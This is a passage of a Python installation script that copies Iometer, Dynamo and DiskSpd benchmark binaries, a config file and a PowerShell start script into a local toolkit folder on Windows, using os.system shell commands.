dynamo_src = kit_location + "Dynamo.exe"
iometer_dest = "C:\ToolkitUserFiles\Binaries\Iometer"
os.system("copy " + iometer_src + " " + iometer_dest)
os.system("copy " + dynamo_src + " " + iometer_dest)
# crete Diskspd directory
if "DiskSpd" in os.listdir("C:\ToolkitUserFiles\Binaries"):
os.system(
"powershell Remove-Item C:\ToolkitUserFiles\Binaries\DiskSpd -Recurse"
)
DiskSpd_cmd = "mkdir C:\ToolkitUserFiles\Binaries\DiskSpd"
os.system(DiskSpd_cmd)
# copy disksdp exe and xsd directory
DiskSpd_src = kit_location + "diskspd.exe"
DiskSpd_xsd_src = kit_location + "diskspd.xsd"
DiskSpd_dest = "C:\ToolkitUserFiles\Binaries\DiskSpd"
os.system("copy " + DiskSpd_src + " " + DiskSpd_dest)
os.system("copy " + DiskSpd_xsd_src + " " + DiskSpd_dest)
#copy json file to C:\Toolkituserfiles
json_src = kit_location + "config.json"
json_dst = "C:\ToolkitUserFiles"
copy_cmd = "copy " + json_src + " " + json_dst
os.system(copy_cmd)
#copy change startconrtoller file
startfile_src = kit_location + "StartController.ps1"
startfile_dest = "C:\ToolkitUserFiles"
startfile_copy_cmd = "copy " + startfile_src + " " + startfile_dest
os.system(startfile_copy_cmd)
